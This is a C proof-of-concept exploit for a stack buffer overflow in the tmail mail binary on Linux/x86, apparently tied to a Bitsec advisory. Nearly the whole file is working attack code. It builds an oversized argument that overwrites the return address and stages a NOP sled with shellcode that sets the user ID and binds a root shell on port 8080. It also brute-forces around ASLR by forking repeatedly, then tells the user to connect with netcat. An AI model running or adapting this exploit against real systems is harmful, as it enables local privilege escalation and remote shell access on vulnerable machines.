/* 
 * bsa-081103.c: Trivial tmail PoC for Linux/x86
 * http://www.bitsec.com/en/rad/bsa-081103.txt
 * Author: Aron Andersson
 */
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

static char bcode[] = 
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x1f\x90\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";

static void die(int fd, char *t){ close(fd); unlink(t); exit(EXIT_FAILURE); }

int main(int argc, char **argv)
{
	char *env[2] = {NULL, NULL};
	char *tmail, argbuf[1048];
	char *shellbuf;
	char tm[] = "/tmp/tmailXXXXXX";
	char msg[] = "From: \x48\x65\x6c\x6c\x61\x63\x6f\x70\x74\x65\x72\x73\n";
	long ret;
	pid_t cpid;
	int status;
	int ifd;
	int cnt = 0;
	size_t nops = 100000;

	if (argc != 2) {
		printf("Usage: %s tmail-binary\n", argv[0]);
		exit(EXIT_FAILURE);
	}
	tmail = argv[1];
	printf("[+] Gotta get some action now!\n");

	if ( (shellbuf = (char*) malloc(nops + strlen(bcode))) == NULL) {
		perror("[-] malloc");
		exit(EXIT_FAILURE);
	}

	memset(shellbuf, 0x90, nops);
	memcpy(shellbuf+nops, bcode, strlen(bcode));

	env[0] = shellbuf;

	ret = 0xbffffffa - strlen(shellbuf)/2 - strlen(tmail);

	strcpy(argbuf, "usr+");
	memset(argbuf+4, 0x41, 1044);
	memcpy(argbuf+1044, &ret, 4);

	ifd = mkstemp(tm);
	if (write(ifd, msg, strlen(msg)) == -1) {
		perror("[-] Could not create/write temporary mail");
		die(ifd, tm);
	}
	printf("[+] Mail header written. 0x48656c6c 0x61636f70 0x74657273");
	fflush(stdout);

	for (;;) {
		cnt++;
		if ( (cpid = fork()) < 0) {
			perror("[-] fork");
			die(ifd, tm);
		}

		if (0 == cpid) {
			lseek(ifd, 0, SEEK_SET);
			dup2(ifd, STDIN_FILENO);
			close(STDOUT_FILENO);
			close(STDERR_FILENO);
			execle(tmail, tmail, argbuf, NULL, env);
			perror("[-] execle");
			die(ifd, tm);
		}
		status = kill(cpid, 0);

		if (-1 == status) {
			printf("\n[+] We got by by the grace of bof in %d %s. "
					"Head off to your shell! (nc localhost 8080)\n",
					cnt, cnt==1?"try":"tries");
			break;
		}

		waitpid(cpid, &status, 0);
		if (SIGABRT == status) {
			printf("\n");
			printf("[-] Hopeless case of a stack in denial!\n");
			printf("    (Try compiling tmail with -fno-stack-protector)\n");
			die(ifd, tm);
		}
		if (1 == cnt) 
			printf("\n[-] ASLR detected! "
					"Brute-forcing to find out where the action is..");
		if (0 == cnt % 10) { 
			printf("."); fflush(stdout);
		}
	}
	close(ifd);
	unlink(tm);
	return 0;
}

